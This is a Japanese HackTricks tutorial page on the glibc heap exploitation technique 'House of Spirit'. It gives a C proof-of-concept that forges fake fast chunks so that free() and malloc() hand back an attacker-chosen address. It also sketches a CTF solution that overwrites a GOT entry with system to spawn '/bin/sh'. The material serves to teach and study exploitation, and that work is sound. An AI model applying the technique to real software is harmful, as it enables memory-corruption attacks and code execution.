House of Spirit

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

基本情報

コード

House of Spirit

```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### ゴール

* tcache / fast bin にアドレスを追加できるようになり、後でそれを割り当てることができるようにする

### 必要条件

* この攻撃には、攻撃者が正しくサイズ値を示すいくつかの偽の fast チャンクを作成し、その後最初の偽のチャンクを解放できる必要があります。

### 攻撃

* セキュリティチェックをバイパスする偽のチャンクを作成します:基本的には、正しい位置に正しいサイズを示す2つの偽のチャンクが必要です
* 最初の偽のチャンクを解放して、それが fast チャンクまたは tcache ビンに入るようにし、その後そのアドレスを上書きするためにそれを割り当てます

**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html)** のコードは攻撃を理解するのに非常に役立ちます。コードからのこのスキーマはそれをかなりうまく要約しています:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

注意:いくつかのセーニティチェックをバイパスするために、2番目のチャンクを作成する必要があります。

Examples

  • Libc infoleak: オーバーフローを介して、CTFのreadアクションを介してlibcアドレスをリークするために、ポインタをGOTアドレスを指すように変更することが可能です。

  • House of Spirit: "rifles"の数をカウントするカウンターを悪用することで、最初の偽のチャンクの偽のサイズを生成することが可能であり、その後"message"を悪用することで、チャンクの2番目のサイズを偽造することが可能です。最後にオーバーフローを悪用することで、解放されるポインタを変更することが可能であり、その結果、最初の偽のチャンクが解放されます。その後、それを割り当て、その中に"message"が格納されているアドレスが含まれています。次に、これをscanfエントリが格納されているGOTテーブル内のアドレスを指すように変更することが可能であり、そのため、それをシステムのアドレスで上書きすることが可能です。次にscanfが呼び出されるとき、入力として"/bin/sh"を送信し、シェルを取得することが可能です。

References

Last updated